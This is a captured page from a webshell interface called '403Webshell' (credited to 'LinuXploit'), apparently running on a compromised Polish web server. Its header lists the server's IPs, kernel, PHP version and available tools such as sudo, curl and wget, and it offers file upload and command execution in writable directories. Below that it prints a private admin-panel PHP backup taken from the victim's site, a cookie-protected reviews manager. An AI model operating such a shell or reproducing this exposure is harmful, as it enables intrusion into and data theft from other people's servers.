403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /.polana_v1801_rollback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /.polana_v1801_rollback/admin__opinie.php.backup
<?php
declare(strict_types=1);

header('X-Robots-Tag: noindex, nofollow, noarchive',true);

$ROOT=dirname(__DIR__);
$private=$ROOT.'/includes/opinie_simple_private.php';
if (!is_file($private)) { http_response_code(503); exit('Brak konfiguracji Opinie Simple V2.'); }
$cfg=require $private;
if (!is_array($cfg)) { http_response_code(503); exit('Błędna konfiguracja.'); }

$expected=(string)($cfg['admin_cookie'] ?? '');
$given=(string)($_COOKIE['polana_opinie_admin'] ?? '');

if ($expected==='' || $given==='' || !hash_equals($expected,$given)) {
    http_response_code(403);
    ?><!doctype html><meta charset="utf-8">
    <style>body{background:#101510;color:#fff;font:16px/1.55 system-ui;padding:40px;max-width:760px}code{background:#222;padding:3px 6px}a{color:#9acd32}</style>
    <h1>Brak dostępu</h1>
    <p>Ten panel nie wymaga hasła ani Google OAuth. Dostęp jest nadawany bezpiecznym cookie przez installer <code>POLANA_OPINIE_SIMPLE_v2.php</code>.</p>
    <p>Wgraj installer ponownie i kliknij <b>ODŚWIEŻ DOSTĘP</b>.</p><?php
    exit;
}

require_once $ROOT.'/includes/functions.php';
require_once $ROOT.'/includes/opinie_simple.php';

function ah(mixed $v): string { return htmlspecialchars((string)$v,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8'); }
function save_cfg(string $file,array $cfg): void {
    $php="<?php\ndeclare(strict_types=1);\nreturn ".var_export($cfg,true).";\n";
    if(file_put_contents($file,$php,LOCK_EX)===false) throw new RuntimeException('Nie udało się zapisać konfiguracji.');
}

$msg='';$err='';
$widgetFile=$ROOT.'/data/trustindex-widget.html';

if ($_SERVER['REQUEST_METHOD']==='POST') {
    try {
        $action=(string)($_POST['action'] ?? '');

        if ($action==='save') {
            $reviewUrl=trim((string)($_POST['review_url'] ?? ''));
            if (!filter_var($reviewUrl,FILTER_VALIDATE_URL) || !preg_match('~^https://~i',$reviewUrl)) {
                throw new RuntimeException('Podaj poprawny adres HTTPS do wystawienia opinii Google.');
            }
            $cfg['review_url']=$reviewUrl;
            save_cfg($private,$cfg);

            $widget=trim((string)($_POST['widget_code'] ?? ''));
            if (!is_dir(dirname($widgetFile))) @mkdir(dirname($widgetFile),0775,true);
            file_put_contents($widgetFile,$widget===''?"<!-- brak widgetu Trustindex -->\n":$widget."\n",LOCK_EX);

            $msg='Zapisane. Link Google i widget Trustindex są aktywne.';
        }

        if ($action==='clear_widget') {
            if (!is_dir(dirname($widgetFile))) @mkdir(dirname($widgetFile),0775,true);
            file_put_contents($widgetFile,"<!-- brak widgetu Trustindex -->\n",LOCK_EX);
            $msg='Widget Trustindex wyłączony.';
        }

    } catch(Throwable $e) { $err=$e->getMessage(); }
}

$cfg=require $private;
$widget=is_file($widgetFile)?trim((string)file_get_contents($widgetFile)):'';
$widgetActive=$widget!=='' && !str_starts_with($widget,'<!--');
$reviewUrl=(string)($cfg['review_url'] ?? '');

?><!doctype html>
<html lang="pl"><head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Opinie – panel Polany</title>
<style>
:root{--bg:#101510;--card:#171d17;--line:#2d392d;--text:#f6f7f3;--muted:#aab4a7;--green:#9acd32;--red:#c75252}
*{box-sizing:border-box}body{margin:0;background:#101510;color:var(--text);font:15px/1.55 system-ui,Segoe UI,Arial,sans-serif}
.wrap{max-width:1050px;margin:auto;padding:26px}.top{display:flex;justify-content:space-between;gap:15px;align-items:flex-start}.card{background:var(--card);border:1px solid var(--line);border-radius:17px;padding:20px;margin:15px 0}
.sub{color:var(--muted)}.msg{padding:13px 15px;border-radius:10px;margin:14px 0}.ok{background:#17301d}.err{background:#421c1c}
.grid{display:grid;grid-template-columns:repeat(3,1fr);gap:10px}.kpi{background:#101610;border:1px solid var(--line);border-radius:13px;padding:14px}.kpi b{display:block;font-size:21px}.kpi span{color:var(--muted)}
label{display:grid;gap:6px;margin:12px 0;font-weight:800}input,textarea{width:100%;background:#0d120d;color:#fff;border:1px solid #354235;border-radius:9px;padding:10px;font:inherit}textarea{min-height:210px;font-family:ui-monospace,Consolas,monospace;font-size:12px}
button,.btn{display:inline-flex;align-items:center;justify-content:center;border:0;border-radius:10px;padding:11px 15px;font-weight:900;background:var(--green);color:#111;cursor:pointer;text-decoration:none;margin:4px 6px 4px 0}.gray{background:#303a30;color:#fff}.red{background:var(--red);color:#fff}
.good{color:#c6ef87}.bad{color:#ffb2b2}.two{display:grid;grid-template-columns:1fr 1fr;gap:14px}code{background:#0d120d;padding:2px 6px;border-radius:5px}
@media(max-width:800px){.grid,.two{grid-template-columns:1fr}.top{display:block}.wrap{padding:14px}}
</style>
</head><body><div class="wrap">
<div class="top"><div><h1>Opinie / Google</h1><div class="sub">Prosto: Trustindex + Google + QR. Bez API i bez secretów.</div></div></div>

<?php if($msg):?><div class="msg ok"><?=ah($msg)?></div><?php endif;?>
<?php if($err):?><div class="msg err"><?=ah($err)?></div><?php endif;?>

<div class="grid">
<div class="kpi"><b class="<?=$widgetActive?'good':'bad'?>"><?=$widgetActive?'AKTYWNY':'BRAK'?></b><span>Trustindex</span></div>
<div class="kpi"><b>1 klik</b><span>/opinia → Google</span></div>
<div class="kpi"><b>QR</b><span>/opinia-qr</span></div>
</div>

<div class="two">
<section class="card">
<h2>Zarządzanie</h2>
<p><a class="btn" href="https://business.google.com/" target="_blank" rel="noopener">Otwórz Profil Firmy Google</a></p>
<p><a class="btn gray" href="https://admin.trustindex.io/" target="_blank" rel="noopener">Otwórz Trustindex</a></p>
<p class="sub">W Google odpowiadasz na opinie. Trustindex automatycznie pobiera je i wyświetla w naszym widżecie.</p>
</section>

<section class="card">
<h2>Szybkie linki</h2>
<p><a class="btn" href="/opinia" target="_blank">Wystaw opinię</a>
<a class="btn gray" href="/opinie" target="_blank">Podstrona opinii</a>
<a class="btn gray" href="/opinia-qr" target="_blank">QR do wydruku</a></p>
<p class="sub"><code>/opinia</code> możesz dać do SMS-a, stopki maila, na rachunek albo NFC.</p>
</section>
</div>

<section class="card">
<h2>Trustindex + link Google</h2>
<form method="post">
<input type="hidden" name="action" value="save">

<label>Bezpośredni link do wystawienia opinii Google
<input type="url" name="review_url" value="<?=ah($reviewUrl)?>" required>
</label>

<label>Kod widgetu Trustindex
<textarea name="widget_code" placeholder="<script ...trustindex...>"><?=ah($widgetActive?$widget:'')?></textarea>
</label>

<button>ZAPISZ</button>
</form>

<?php if($widgetActive):?>
<form method="post" onsubmit="return confirm('Wyłączyć widget Trustindex?')">
<input type="hidden" name="action" value="clear_widget">
<button class="red">WYŁĄCZ TRUSTINDEX</button>
</form>
<?php endif;?>

<p class="sub">W Trustindex: wybierasz profil Google → widget → Get code / Embed → kopiujesz cały kod i wklejasz tutaj.</p>
</section>
</div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit